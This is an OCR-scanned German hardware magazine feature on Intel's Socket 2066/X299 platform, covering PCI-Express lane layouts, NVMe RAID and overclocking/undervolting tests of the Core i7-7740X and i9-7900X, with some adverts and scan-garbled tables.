bislang üblichen 1-GBit-LANs an. 
Bislang vergeblich sucht man da- 
gegen Thunderbolt 3. Angeblich 
soll das am vorgezogenen Start der 
Basin-Falls-Plattform liegen - Thun- 
derbolt-Zertifizierungen brauchen 
ihre Zeit. Der für eine nachträgli- 
che Thunderbolt-3-Freigabe nöti- 
ge, auch USB-3.1-taugliche Alpine- 
Ridge-Controller fehlt aber selbst 
auf den Topmodellen ehemaliger 
Thunderbolt-3-Verfechter. 


Um so verbreiteter sind multiple 
M.2-Anschlüsse. Selbst die güns- 
tigsten Platinen tragen wenigstens 
zwei der schnellen SSD-Steckplätze 
(volle x4-3.0-Anbindung versteht 
sich in dieser Klasse von selbst), 
die teureren Modelle deren drei 
oder vier. Wenn der Platz für lange 
M.2-Module ausgeht, werden stel- 
lenweise auch U.2-Anschlüsse für 
2,5-Zoll-Laufwerke mit vergleich- 
barer Performance verbaut. Wie 
immer lassen sich weitere NVME- 
SSDs auch als PCI-Express-Steckkar- 
te beziehungsweise mittels Adapter 
in den normalen Erweiterungsslots 
nachrüsten. Asus zeigte auf der 
Computex sogar Steckkarten, die 
vier x4-M.2-SSDs in einem einzel- 
nen x 16-Steckplatz ermöglichen. 


Anlass für diesen M.2-Wahn ist 
VROC (‚Virtual RAID on CPU“). 
Mit technischen Details hält sich 
Intel noch bedeckt, grundsätzlich 
geht esaber um RAID-Verbünde aus 
mehreren PCI-Express-SSDs mit di- 
rekter Anbindung an die CPU. Über 
den PCH sind solche NVMFE-RAID-0 
bereits auf Sockel-1151-Mainboards 
móglich, aber wenig sinnvoll: Die 
DMI-3.0-Schnittstelle, die РСН und 
CPU verbindet, unterstützt sowohl 
im Falle des Z270 als auch des X299 
maximal 4 GB/s pro Gerät und 
Richtung. Da schon eine einzelne 
M.2-SSD 3,5 GB/s erreichen kann, 
würde die doppelte Leistung eines 
RAID-0-Verbundes hier im DMI- 
Flaschenhals verloren gehen. Eine 
Anbindung mehrerer M.2-SSDs 
über die CPU ist in Sockel-1151- und 
AM. aber auch bei Kaby-Lake-X- 
Sockel-2066-Systemen hingegen 


Acht PCI-E-Splitter für einmal x16: Asus’ Strix X299-E Gaming muss einigen Aufwand 


betreiben, sonst wäre volle GPU-Geschwindigkeit mit Kaby Lake X unmöglich. 


Wasserkühlungszwang: Sieben-Slot-Layouts mit genug Platz für große Luftkühler sind 
beim Sockel 2066 schwer möglich. Supermicros C9X299-PG versucht es erst gar nicht. 


Primär optisch wirksame SSD-Kühler (siehe Seite 100) auf möglichst vielen M.2-Slots 


sind ein Muss für X299-Oberklasse-Modelle — meinen zumindest deren Hersteller. 
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Bild: Supermicro 


Bild: Gigabyte 
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unmöglich, da 16 CPU-Lanes für 
Grafikkarten benötigt werden. Nur 
Skylake X hat genug PCI-Express- 
Ressourcen für CPU-basierte NV- 
ME-RAID-Verbünde und genau die- 
se unterstützt Intel jetzt auch. 


Wechselnde Aufgabenteilung, unterschiedliche Schwerpunkte und flexibel konfigurier- 
bare Ports erschweren Plattformvergleiche. Wir ziehen einen Vergleich auf Augenhöhe. 


es 


Die CPU übernimmt die Grafikkarten-Anbindung; der I/O-Hub hat eine feste Zahl von Schnittstellen 
für weniger schnelle Peripherie? So einfach ist es leider nicht. Ein AMA-I/O-Hub bietet beispielsweise 
in der Praxis kein PCI-E-3.0 für schnelle SSDs, also werden diese ebenfalls über die CPU angebunden, 
die dafür ein paar Extra-Lanes hat. Dort wäre alternativ auch SATA verfügbar. Diese Kombination gibt epum Nur der geschwindigkeitssteigern- 
es bei Intel auch, aber im PCH und bei USB 3.0 wiederholt sich das Durcheinander. Wir versuchen - de RAID 0 gehórt zur Serienausstat- 
deswegen, alle aktuellen Plattformen in möglichst vergleichbarer Form gegenüberzustellen: AM4 und tung. Für hóhere Datensicherheit 
Sockel 1151 mit dem jeweils besten I/O-Hub, den neuen LGA 2066 in alle drei möglichen CPU-Kon- Ben mit RAID 1 und RAID 5 muss dage- 
igurationen. Die Prozessor-eigenen Schnittstellen finden Sie in der unteren Hälfte jedes Balkens, = gen ein Hardware-Dongle (VROC- 
die des I/O-Hubs oberhalb der Trennlinie. Unterstützt ein Port zwei verschiedene Schnittstellen, — Key) gekauft werden. Weiterhin in- 
kennzeichnen wir dies mit einer geteilten Zelle. An der rechten Kante eines jeden Balkens finden Sie ' klusive sind dagegen die vom 7270 
jeweils eine Beispielkonfiguration, die den anderen Plattformen möglichst Г bekannten RAID-Funktionen des 
nahe kommt. Bitte beachten Sie, dass dies nicht unbedingt realen Main- PCI-E 3.0 і PCHs: SATA-Verbünde mit RAID 0, 
boards entspricht: Mit einem Sockel-1151-Mainboard den USB-3.0-Über- PCI-E3.0 1 und S werden nativ unterstützt. 
schuss des АМА nachzustellen ist eigentlich eine Verschwendung von PCI-E- РС-ЕЗ.0 - Erstmals dnr Desktop Seementsind 
Lanes, die in einen zweiten M.2 besser investiert wären. LGA-2066-Platinen — E22 > —— di Se Ë qa: орэев Я s 
PCI-E 3.0 PCI-E 3.0 auch die kombinierten Modi 10 und 
versorgen NVME-SSDs meist über den PCH, zur besseren Vergleichbarkeit БЕЙЕҮ GEES 
ragen wir aber einen Anschluss an die CPU ein. Ebenfalls ergänzt wurden TRE ‹ PCI-E3.0 


Zusatzcontroller (orange) für heutzutage selbstverstándliche Anschlüsse. PCI-E3.0 PCI-E 3.0 
PCI-E 3.0 


3.0 Lani 


e 


Einen Haken hat die Sache noch: 


9frei 


15 sinnvoll nutzbar. Bislang war dies 
eine Domäne der Sockel-1151-Xeon- 
PCHs, bei denen schon seit 2015 
acht SATA-Ports freigeschaltet sind. 
lese Der  Sockel2011-v3-Desktop-PCH 
——— X99 unterstützte zwar sogar 10 
SATA-Laufwerke, aber nur sechs da- 
von waren RAID-tauglich. 


PCI-E 3.0 


10x USB 3.1 


PCI-E 3.0 


PCI-E 3.0 


CI-E 3.0 
CI-E 3.0 
Е 3.0 


7freie 3.0 Lanes 
un 5 freie 3.0 Lanes 
3.0-x4-M.2-SSD 


СІ-Е 3. 
z Zusammengefasst stellt Basin Falls, 


den Sonderfall Kaby Lake X ausge- 
nommen, eine Kombination aus 
den Features der Sockel-2011-v3- 
CPUs und einem Sockel-1151-PCH 
dar, die mit sinnvollen Detailver- 
besserungen aufgewertet wurde. 
Da sich sowohl besagte CPUs als 
auch PCHs vor allem durch ihre 
zahlreichen PCI-Express-3.0-Lanes 
auszeichnen, ist der Sockel 2066 
als Summe beider die derzeit beste 
Plattform für den Einsatz zahlrei- 
cher GPUs, Zusatzcontroller und 
NVME-Speichermedien. Betrachtet 
man nur die über eine typische 
Oberklasse-Nutzung (1x GPU, 1x 
M.2, USB 3.1, 4xSATA, LAN) hin- 
ausgehenden, zusätzlichen PCI- 
Express-3.0-Ressourcen, so werden 
Sockel 1151 und AM4 zum Teil um 
mehr als Doppelte überboten. 


E3.0 


CI-E 3.0 
CI-E 3.0 
CI-E 3.0 
CI-E 3.0 


X370-1/0-Hub 


E3.0 


10x USB 3.1 


PCI-E3.0 


PCI-E3.0 


PCI-E3.0 


PCI-E 3.0 


4x +|6x USB 3.0 
10xUSB3.1 
10x USB 3.1 


PCI-E3.0 


USB 3.0 PCI-E3.0 


1x PCI-E 3.0 x16 oder 2x PCI-E 3.0 x 


USB 3.0 


1xPCI-E 3.0 x8 


PCI-E 3.0 


.0-x4-M.2-SSD 
3.0-x4-M.2-SSD 


PCI-E 3.0 
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Aber die Konkurrenz schlàft nicht: 
AMD hat mit Threadripper und der 
SP3r2-Plattform einen expliziten 
LGA-2066-Konkurrenten angekün- 
digt. Neben reichlich CPU-Kernen 
werden hier auch 60 PCI-Ex- 
press-3.0-Lanes direkt an der CPU 
versprochen. Skylake X und X299 
kommen zusammen zwar sogar auf 
68 Lanes, aber davon sind noch bis 


CI-E 3. о 
zu 12 HSIO-Ports für USB 3.0 und 


SATA abzuziehen. (tv) 


x PCI-E 3.0 x8 


2 


-E3.0 x16 oder 2x PCI-E 3.0 x8 
0 x16 oder 2x PCI-E 3.0 x 
3.0 x16 oder 2x PCI-E 3.0 хі 


-E3. 


1x PCI-E 3.0 x16 oder 2x PCI-E 3.0 x8 
der 


1x PCI-E 3.0 x16 


1x PCI 
1x PCI 
1x PCI- 
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Damit du stets deinen Platz behauptest, haben wir 
den königlichen SKILLER SGS3 Gaming Seat 
entwickelt. Er ist sportlich designt, hochwertig 
verarbeitet und mit edlen Stickereien verziert. 
Neben zahlreichen ergonomischen Einstellmög- 
lichkeiten, wie den 4-Wege-Armlehnen, werden 
zudem praktische Extras geboten: Dank der extra- 
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großen Rollen mit Bremsfunktion hast du auch 
in hektischen Spielsituationen jederzeit einen 
sicheren Stand. Die komfortable Wippfunktion 
bietet eine beruhigende Schaukelstuhl-Atmosphá- 
re, lásst sich aber auch arretieren. Für ausge- 
dehnte Pausen kann die Rückenlehne von 90? bis 
160? eingestellt werden. 
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Overclocking und Undervolting: 17-7740Х & i9-7900X 


Für unsere OC-Tests nutzen wir eine leistungsfähige Wasserkühlung mit einem fast 9 


cm dicken Triple-Radiator. Die Spannungswandler belüften wir zusätzlich. 


i7-7740K Cinebench R15 Voltage 


erhältlichen Sockel- 

2066-Prozessoren unterschei- 
den sich in vielen Aspekten wie 
der Kernanzahl, den nutzbaren 
PCI-Express-Datenleitungen und 
der Anzahl der RAM-Kanäle. Eine 
Eigenschaft ist aber allen Model- 
len vom günstigsten Vierkerner 
bis zum angekündigten 18-Kern- 
Flaggschiff gemein: Intel erlaubt 
das Übertakten via Multiplikator, 
der sowohl für den Kern- als auch 
den Uncore-Bereich auf x83 ange- 
hoben werden kann und damit in 
der Praxis kein Limit darstellt. Wir 
probieren mit den Modellen Core 
i7-7740X und i9-7900X, was Sie 
sich davon erwarten dürfen. 


ie 


Abwärme reduzieren 

Leider teilen sich alle Chips uner- 
freulicherweise aber auch das glei- 
che Kontaktmaterial zwischen Si- 
lizium und Heatspreader: Statt Lot 


te beinhaltet. Mit Undervolting sind 
keine Höchstleistungen möglich, 
doch dafür locken eine hohe Ener- 
gieeffizienz und ein verringerter 
Kühlaufwand. Wir nutzen für den 
Stabilitätstest zwei unterschiedli- 
che Versionen des beliebten Pro- 
gramms Prime95: Die Version 26.6 
hat bereits mehrere Jahre auf dem 
Buckel und unterstützt noch keine 
AVX-Berechnungen. Anders verhält 
es sich bei der jüngsten Programm- 
version 29.2, die intensiven Ge- 
brauch von AVX2 macht und test- 
weise bereits AVX-512 enthält. Die 
Folge ist eine wesentlich stärkere 
Auslastung und Hitzeentwicklung 
der CPU. Je nach Sichtweise han- 
delt es sich um einen besonders 
gründlichen Stabilitätstest oder 
praxisferne Prozessorfolter. Wie 
unsere Ergebnisse zeigen, liefert 
Version 26.6 ähnliche Ergebnisse 
wie Cinebench К15. Ein auf diese 


> I (wie noch bei allen Sockel-2011-v3- Art ausgetesteter Prozessor bietet 
14 | Prozessoren) oder Flüssigmetall eine gute Grundstabilität, kann 
А Er kommt gewöhnliche Wärmeleit- nach unserer Erfahrung im Spielbe- 
£ 125 paste zum Einsatz, welche Wärme trieb aber auch mal abstürzen. 
š 12 schlechter abführt. Wir gehen we- 
ve | nige Seiten später darauf ein, wie Core i7-7740X 
105 | | Sie den Kupferdeckel entfernen Der Vierkerner wird vom MSIX299 
i н kq | =н aaen sil: E S" gt und Hen Wirmeübergang optimie- Gaming Pro Carbon AC mit Auto 
ca olona ael ТД ТТТ ЧЕ ТТ | Onnen Dadieses Kopi а mit 4 n GHZ bettie- 
_| er 10631 1093 | 113 | iiss la |1215 ЕТ 1346 nicht für alle Ubertakter infrage ben, welche auch unter Volllast 
š — Low-Worst(24%) | 1121| 1171 | 1204 | 1244 | 1305 | 1341 | 14111 I kommt, wählen wir für unsere gehalten werden. Dafür legt das 


MSI hat 100 Exemplare des i7-7740X auf Cinebench-R15-Stabilität geprüft. Die für 
5,0 GHz benötigte Spannung liegt zwischen 1,205 und 1,341 Volt. 


Tuning-Tests einen weiten Span- 
nungsbereich, der auch eine große 
Region unterhalb der Standardwer- 


Core i7-7740X: Spannungsskalierung von 0,900 bis 1,350 Volt 


Mainboard allerdings rund 1,20 
Volt Kernspannung an, die Ener- 
gieeffizienz ist folglich mäßig. Mit 


Kernspannung (UEFI-Menü) Auto (ca. 1,20 Volt) 0,900 Volt 1,000 Volt 1,100 Volt 1,200 Volt 1,300 Volt 1,350 Volt 
Max. Kerntakt (Cinebench R15) 4.500 MHz (kein OC) 3.800 MHz 4.300 MHz 4.700 MHz 4.900 MHz 5.100 MHz 5.100 MHz 
Max. Kerntakt (Prime95 v26.6, Small FFTs) 4.500 MHz (kein OC) 3.800 MHz 4.300 MHz 4.600 MHz 4.900 MHz 5.000 MHz 5.000 MHz 
Max. Kerntakt (Prime95 v29.2 (AVX2), Small FFTs) 4.500 MHz (kein OC) 3.800 MHz 4.200 MHz 4.500 MHz 4.700 MHz 4.900 MHz Zu heiß 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 66 Watt 61 Watt 63 Watt 67 Watt 69 Watt 72 Wat 74 Watt 
Leistungsaufnahme (Cinebench R15) 152 Watt 98 Wa 113 Wa 132 Watt 151 Wa 175 Wa 188 Watt 
Leistungsaufnahme (Prime95 v26.6, Small FFTs) 158 Watt 92 Watt 108 Watt 128 Watt 151 Wat 175 Wa 190 Watt 
Leistungsaufnahme (Prime95 v29.2, Small FFTs) 202 Watt 104 Watt 124 Wa 149 Watt 176 Wa 225 Wa Entfáll 
Differenz zwischen Prime95 v26.6 und Leerlauf 92 Watt 31 Watt 45 Wat! 61 Wat 82 Wat! 103 Watt 114 Watt 
Differenz zwischen Prime95 v29.2 und Leerlauf 136 Watt 42 Wa 61 Wat! 82 Wat 107 Wa 153 Wa Entfáll 
Kerntemperatur (Prime95 v26.6, Small FFTs) (52. 1 91€ SUE kee 40) Su 50) С 62,8 °C ТЭ 9С 80,9 °C 
Kerntemperatur (Prime95 v29.2, Small FFTs) 75,6 °C 37,2 *C 45,7 *C 56,0 °C 68,7 °C 83,8 *C >90 °C 
Differenz kühlster/heiBester Kern (Prime95 v26.6) 2 Kelvin 1 Kelvin 1 Kelvin 2 Kelvin 4 Kelvin 5 Kelvin 6 Kelvin 
Differenz kühlster/heiBester Kern (Prime95 v29.2) 4 Kelvin 1 Kelvin 2 Kelvin 2 Kelvin 4 Kelvin 7 Kelvin Entfällt 
Punkte in Cinebench R15 bei max. Takt 1.004 848 958 1.048 1.085 1.120 1.122 
Punkte pro Watt (Cinebench R15, max. Takt) 6,56 8,57 8,40 7,88 7,14 6,36 5,94 
System: MSI X299 Gaming Pro Carbon AC (BIOS E7A95IMS.113), Uncore-Takt auf 4,2 GHz begrenzt, 2 x 8 GiByte DDR4-2666 (15-15-15-35 1T), Geforce GT 640, Wasserkühlung mit Koo- 
lance СРО-3801 und Alphacool Nexxxos Monsta 420; Windows 10; Kerntemperaturen auf 20 °C Raumtemperatur normiert 
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Skylake X OC | SPECIAL = 


AVX-Code sind die Temperaturre- 
serven bereits nahezu erschöpft, 
die aktuelle Prime95-Version sorgt 


Weltrekorde mit Extremkühlung 


gegenüber der AVX-freien Variante Noch bevor Redaktionen erste 
für eine um 44 Watt erhöhte Leis- Testergebnisse publizieren durften, ge- 
tungsaufnahme. stattete Intel Extrem-Übertaktern das 


Veröffentlichen von zahlreichen neuen 


Mit 0,9 Volt Kernspannung erin- Weltrekorden. 
nert uns die CPU an einen poten- 
ten Notebook-Vierkerner. Der stabi- 
le Maximaltakt beträgt lediglich 3,8 
GHz, dafür steigt der Strombedarf 
des Core i7 bei typischer Volllast 
aber auch nur um 30 bis 40 Watt 
ап. Für Чеп-зрагвашеп Desktop: aktraten nicht weit genug steigern lassen. 
Nutzer lohnt sich auch der Betrieb Seit mehreren Monaten hält der Übertakter 
bei 1,0 Volt: Je nach Test sind 4,3 re- ,der8auer" mit 5.905 MHz sowohl den 

spektive 4,2 GHz stabil, was die um 


Diese Entscheidung wirkt wohlüberlegt, denn 
im heißer gewordenen Konkurrenzkampf 

mit AMD zählt Overclocking mit extremen 
Kühlmethoden wie Flüssigstickstoff zu den 
wenigen Feldern, in denen Ryzen noch 

keine ernste Gefahr darstellt, da sich die 


aktweltrekord für den Ryzen-Sechskerner 


15 bis 20 Watt erhöhte Leistungs- 1600X als auch mit 5.803 MHz den Bestwert а 3 Sa 

aufnahme verschmerzen lässt. Die ür den Achtkerner 1800X. CPU-Z -ID : kr5r8y 

Energieeffizienz sinkt erst bei einer 

weiteren Anhebung spürbar, mit it dem Skylake-X-Zehnkerner i9-7900X CPU | Caches | Mainboard | Memory | SPD | Graphics | Bench | About | 

1,10 Volt gelingt es uns aber, die mit knackte „sofos1990” allerdings bereits die Processor 

der „Auto“-Einstellung anliegenden 6-GHz-Hürde, mit dem Quadcore i7-7740X Name Intel Core i7 7900X 

Taktfrequenzen zu erreichen oder erzielte „der8auer” einen Maximaltakt von Code Name Skylake-X Max TDP | 140 W 

gar zu überbieten. Bei gleichem 7.562 MHz. Der Rekordwert von „slamms” Package Socket 2066 LGA 

Takt, nämlich 4,5 GHz, sparen wir für den technisch nah verwandten Vier- Technology | 1$nm Соге Voltage | 2.292 V © 

so über 50 Watt їп Prime95 у29.2 kerner i7-7700K liegt bei 7.384 MHz — im Specification | Intel(R) Core(TM) i7-7900X CPU @ 3.30GHz (ES) z 

ein. Diese Einstellung sollte sich Sockel-2066-Package ist Kaby Lake also Family 6 Model 5 Stepping 4 š 

auch mit einem Mittelklasse-Turm- noch u ges ee egen Ext. Family 6 Ext. Model 55 Revision но E 
ü alti geeignet. In den Benchmarks Super Pi sowie Instructions | MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, EM64T E 

EE Pifast stellten , Dancop" und „der8auer” mit VT-x, AES, AVX, AVX2, AVXS12F, FMA3, TSX 3 

А a = 

Mit 1,20 Volt erzielen wirabhángi | eeren Berchmans nuen de (Gef magum B 

vom Stabilitätstest 4,7 bis 4,9 GHz, einen Prozessorkern. Anders verhált es sich сие че — un чш. = СЕ 2 

mit 1,30 Volt nehmen wir schließ- bei Wprime 1024M: Der neue Bestwert für — AS e - ee s > Ser кт š 

lich die 5-GHz-Hürde - zumindest | Achtkerner sind 54,6 Sekunden (i7-7820X @ раи — с 3 NW = ee š 

mit Cinebench R15 und der AVX- 5,78 GHz), das beste AMD-Ergebnis sind 64,2 Ss ЕЕЕ š 

freien Prime95-Version. Nun hat Sekunden (1800X @ 5,22 GHz). Im Cinebench _ E 

aber auch unsere Wasserkühlung R15 geht es mit 2.652 Punkten (i7-7820X @ — —M š 

keine Reserven mehr, eine weite- 5,88 GHz) gegenüber 2.454 Punkten (1800X | " Е 

те Anhebung der Kernspannung @ 5,36 s ie knapper zu. | Ver. 1.79.1.x64 Toos |7| , Vaidate | Сое | | Е 


ist kontraproduktiv: Wir erzielen 


Core i9-7900X: Spannungsskalierung von 0,900 bis 1,300 Volt 


* „Enhanced Turbo“ deaktiviert ** Hwinfo64 meldet Throttling auf einem Kern 


š Kernspannung (UEFI-Menü) Auto (са. 1,25 V) | Auto (ca. 1,15 V)* | 0,900 Volt 1,000 Volt 1,100 Volt 1,200 Volt 1,300 Volt 
š Max. Kerntakt (Cinebench R15) 4.300 MHz 4.000 MHz 3.500 MHz 3.900 MHz 4.200 MHz 4.500 MHz 4.600 MHz 
š Max. Kerntakt (Prime95 v26.6, Small FFTs) 4.300 MHz 4.000 MHz 3.400 MHz 3.900 MHz 4.200 MHz 4.400 MHz 4.600 MHz** 
š Max. Kerntakt (Prime95 v29.2 (AVX2), Small FFTs) 4.300 MHz 4.000 MHz 3.400 MHz 3.800 MHz 4.100 MHz 4.300 MHz Zu heiß 

E Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 81 Wat! 81 Wat 104 Wa 110 Watt 111 Wat 114 Watt 118 Watt 
3 Leistungsaufnahme (Cinebench R15) 330 Watt 264 Wa 186 Wa 221 Watt 261 Wat 316 Wa 374 Watt 

3 Leistungsaufnahme (Prime95 v26.6, Small FFTs) 357 Watt 276 Wat 183 Watt 226 Watt 273 Wat 334 Watt 414 Watt 

Ë Leistungsaufnahme (Prime95 v29.2, Small FFTs) 276 Watt*** 364 Wa 220 Wa 273 Watt 352 Wat 448 Wa Entfällt 

E Differenz zwischen Prime95 v26.6 und Leerlauf 276 Watt 195 Wa 79 Watt 116 Watt 162 Wat 220 Watt 296 Wat 

E Differenz zwischen Prime95 v29.2 und Leerlauf 195 Watt*** 283 Wa 116 Wa 163 Watt 241 Wat 334 Wa Entfállt 

= Kerntemperatur (Prime95 v26.6, Small FFTs) 68,8 °C 5/41 sC 35,4 °C 415) 7 9С DEG 64,6 °C 80,4 °C 
Ы Kerntemperatur (Prime95 v29.2, Small FFTs) 48,6 °C*** 65,1 °C 40,6 °C 49,7 °C 63,2 °C 78,9 °C >90 °C 

3 Differenz kühlster/heißester Kern (Prime95 v26.6) 11 Kelvin 7 Kelvin 4 Kelvin 6 Kelvin 7 Kelvin 11 Kelvin 14 Kelvin 
= Differenz kühlster/heißester Kern (Prime95 v29.2) 8 Kelvin** 11 Kelvin 5 Kelvin 7 Kelvin 11 Kelvin 15 Kelvin Entfällt 

3 Punkte in Cinebench R15 bei max. Takt 2.353 2.221 1947 2.164 2.298 2.466 2.510 

š Punkte pro Watt (Cinebench R15, max. Takt) 7,13 8,41 10,47 9,79 8,80 7,80 6,69 

E System: MSI X299 Gaming Pro Carbon AC (BIOS E7A95IMS.113), Uncore-Takt auf 2,4 GHz begrenzt, 4 x 8 GiByte DDR4-2666 (15-15-15-35 1T), Geforce GT 640, Wasserkühlung mit Koo- 
t | lance CPU-380l und Alphacool Nexxxos Monsta 420; Windows 10; Kerntemperaturen auf 20 °C normiert 
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SPECIAL | Skylake X ОС 


CPU Setting 
CPU Ratio Apply Mode 
CPU Core # Favored Index 
10th of 10 
1st of 10 
9th of 10 
6th of 10 
8th of 10 
3rd of 10 

4th of 10 
5th of 10 
7th of 10 


2nd of 10 


Core 0 
Core 1 
Core 2 
Core 3 


Core 4 
Core 5 
Core 6 
Core 7 
Core 8 
Core 9 
CPU Ratio Mode 


[Per Core] 


Target Speed Targe 
4100 MHz 
4200 MHz 42 
4300 MHz 43 
4400 MHz 44 
4500 MHz 45 
4500 MHz 45 
4400 MHz 44 
4300 MHz 43 
4200 MHz 42 
4100 MHz 41 


[Dynamic Mode] 


Mit Skylake X können Sie jeden Kern einzeln übertakten, bei Kaby Lake X hingegen 
lediglich den Maximal-Turbo bei Last auf 1, 2, 3 oder 4 Kernen bestimmen. 


keine höheren Taktfrequenzen, 
mit AVX-Code überhitzt die CPU 
sogar. Im Direktvergleich mit dem 
i7-7700K ermöglicht Kaby Lake X 
bei gleicher Spannung ein Taktplus 
von 100 bis 200 MHz in Prime95 
mit AVX, ist also der aktuell am bes- 
ten zu übertaktende Vierkerner. 


Ein völlig anderes, weil nur mit 
Mühe zu bändigendes Biest ist Sky- 
lake X. Das zeigt sich schon nach 
den Durchführen der ersten Tests 
im „Auto“-Modus: Die AVX-Version 
von Prime95 führt zu einer auffäl- 
lig niedrigen Leistungsaufnahme, 


wenn wir deutlich extremere Wer- 
te als im „Auto“-Modus erzielen. 


Wie beim i7-7740X agiert das Sys- 
tem mit 0,90 Volt am effizientesten, 
ermöglicht mit steigender Kern- 
spannung aber höhere Taktfre- 
quenzen, sofern die Kühlleistung 
stimmt. Nach unserer Einschätzung 
liegt der sinnvolle Bereich mit ei- 
ner Luftkühlung zwischen 1,10 
und 1,20 Volt, für höhere Werte 
zahlt sich eine Wasserkühlung aus. 
Selbst dann sollten Sie aber keine 
Wunder erwarten, wir beobachten 
bei 1,30 Volt selbst im AVX-losen 
Prime95 die ersten Anzeichen von 


nn Gegen жой — DEE die genaue Ursache konnten wir in temperaturbedingter Drosselung. 

lj Core #0 70 °C 27°С 78 °C 74 °С " 

Ш К A 

Ü Core i TOC "Uer der kurzen uns zur Verfügung ste- Im Vergleich mit dem Broadwell-E- 

ll, Core #2 27°С henden Zeit nicht ausmachen. Of- Zehnkerner i7-6950X erreichen wir 

L = fensichtlich greift eine Schutzfunk- bei gleicher Spannung 200 bis 400 

lj Core #4 78 °C 27 °C 79 °C 77 °С : . ` . . P | | 

[| Core #5 84°С 28 °C 84°С 82°С tion, mit Tools lässt sich allerdings MHz mehr in Primen mit AVX. Im 

0 Core #6 27 °C keine Reduktion des Kerntaktsoder kurzen RAM-OC-Test liefen 4 x 8 Gi- 

Ü c 7 83 *C 26 °C 84°С 81°С e 

ser der Spannung ausmachen. Abhilfe Byte DDR4-3600 auf Anhieb. (sw) 

Ü Core #8 27°C 

1 Core #9 27°С 84°С schafft das Deaktivieren der Funkti- 

Í » « 

: Core #0 Distance to TjMAX 24 °С 16 *C 67°С 20 °С оп „Епһапсеа "Turbo wodurch der 

Ф Core #1 Distance to TjMAX 68 °С Liz А ; 

Ü Core #2 Distance to TjMAX 67°С Turbotakt bei Beanspruchung aller 

H Core #3 Distance to TJMAX 68 °С Kerne von 4,3 auf 4,0 GHz sinkt. Da 

b Core #4 Distance to TJMAX 16 °C 15 °C 67°С 17°С auch die anliegende Spannung von Overclocking/Undervolting 

A Core #5 Distance to TjMAX 10 °C 10 °С 66 °С юс E) А E z Y 

Ü Core #6 Distance to TJMAX кер etwa 1,25 auf rund 1,15 Volt absinkt, Der i7-7740X làsst sich besser über 

0 Core &7 Distance to TJMAX 11 °C 10 °C 68 °С 13°С sinken die allgemeine Leistungsauf- takten als das Sockel-1151-Pendant 

H Core #8 Distance to TJMAX 67°С 5 . . We i E = 

|) Core #9 Distance to TJMAX 67°С 10 <C nahme und Hitzeentwicklung, im b E die 5 Cng Marke erfordert 

ge i А Коб aber eine gute Kühlung. Falls Sie sich 

0 Core Max 28 °C Spezialfall Prime95 v29.2 steigen Р £ = 

© Core #0 Thermal Throttling No No No sie aufgrund der nun nicht mehr den i9-7900X gonnen möchten, pla- 

© Core #1 Thermal Throttling No No No : . | nen Sie unbedingt eine High-End-Küh- 

© Core #2 Thermal Throttiing No No aktiven Schutzfunktion allerdings. | SE di ine ЫШ 
ung mit ein — die gewaltige Rohlei- 

© Core #3 Thermal Throttling No No No Werden Multiplikator und Kern- R : : 


stung des Chips lásst sich sonst kaum 


spannung manuell gesetzt, verhält noch durch Overclocking steigern. 


sich das System wie erwartet, selbst 


Skylake-X-Übertakter sollten unbedingt auf die Temperaturen achten. Das Tool Hwin- 
fo64 informiert darüber, sobald ein Kern zum Schutz heruntergetaktet wird. 


Optionale Taktreduktion bei AVX-Berechnungen 


Auf Wunsch können Sie bestimmen, ob und wie stark die Kerne für AVX-Anwendungen heruntergetaktet werden sollen. Asus bietet bei Skylake X eine zusätzliche Option für 
AVX-512. Der Nutzen hält sich aber in Grenzen: Die Hitzeentwicklung hängt primär von der Kernspannung ab, außerdem sinkt natürlich die Leistung bei reduziertem Takt. 


Asus Strix X299-E Gaming 
«27 ЧЕР! BIOS Utility - Advanced Mode 


07137197 


My Favorites 


MSI X299 Gaming Pro Carbon AC 


© 13:10 Thu 22 Jun, 2017 


CPU Speed 3.30 GHz 
GAME BOOST XMP 


DDR Speed 2133 MHz 


T 34'C 


/ 
English [E Myfavorite(F3) Qo бап Controkró) EZ Tuning wearin) ` [7] not 


Main Аі Tweaker Advanced Monitor Boot Tool Exit 31°C 
1 Legacy 


Boot Priority 


LAILIli, 


Target CPU Turbo-Mode Frequency : 4500MHz 
Target CPU @ AVX Frequency : 4000MHz 
Target CPU @ AVX-512 Frequency : 4000MH? 
Target DRAM Frequency ` 2666MHz 

Target Cache Frequency : 2400MHz 


Ai Overclock Tuner Auto 


ASUS MultiCore Enhancement [ Disabled OC Explore Mode [Normal] 


AVX Instruction Core Ratio Negative Offset Auto 


CPU Ratio 


Motherboard settings 


SETTINGS 


Auto 
AVX-512 Instruction Core Ratio Negative Offset Auto 
CPU Ratio Offset When Running AVX 
Game Boost Function Control 

Ring Ratio 


[Auto] 
[By BIOS Options] 
Auto 


CPU Core Ratio [Auto 


Min. CPU Cache Ratio Auto 


E Misc Setting 
EIST [Enabled] 
Intel Turbo Boost [Enabled] 
Enhanced Turbo [Disabled] 


Max. CPU Cache Ratio Auto 
BCLK Frequency : DRAM Frequency Ratio [Auto 


[Manual]: When the manual mode is selected, BCLK(base c 
[KMP]: When XMP(extreme memory profile) mode is select 


k) frequency can be assigned manually. 


BCLK frequency and memory parameters will be optimized C 
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ANZEIGE 


Digital-Abo 


12 x PCGH 
+ Pramie 
für nur 39,99 € 


Lesen Sie in Zukunft die Digitalaus- 
gabe bequem auf Ihrem iOS-, And- 


roid-, Amazon-Gerát od | | 
als Download. POP pow Е D D В é j- r i A | / | 


КГ l ISC n йе or un [ Tests von ppR4-2400 bis DDR4-4000 
ñ lf X 


ves pcgameshord I a Hate 


am 


NEU: Als Digital-Abonnent haben Sie 
jetzt erstmals Zugriff auf die Jahres- 
archive ab 2001 (im PDF-Format). prete 


mem 
fiia? | Titan Xp + GTX 1080 (11 Gbps) 


karten ihr Geld wert? «= 


2.0: Kritische Kühler 


Das muss Kaby Lake aushalten! «« 


Bendgate 


Sind die schnellen Grafik! 


amazon.de A ] d Ryzen 5 1600 vs. Core 
ОО i5-7600K im Multiplayer-Test 
la - Escape from Tarkov, Playerunknown's 


Battlegrounds, Rainbow Six Siege, Ark: Survival Evolved + 


Inklusive I , 
10-Euro-Gutscheln T T š u "EI [Die besten Monitore 


von Amazon.de J : Lë wë 
Е BU wll И! керене, 


SPECIAL | Skylake-X kópfen 


Skylake X kopfen 


Skylake X ist die erste High-End-Desktop-CPU von Intel, die nicht mehr klassisch verlötet ist. 


Wir zeigen, wie die Temperaturen durch Köpfen verbessert werden können. 


Hier ein geköpfter i9-7900X. 
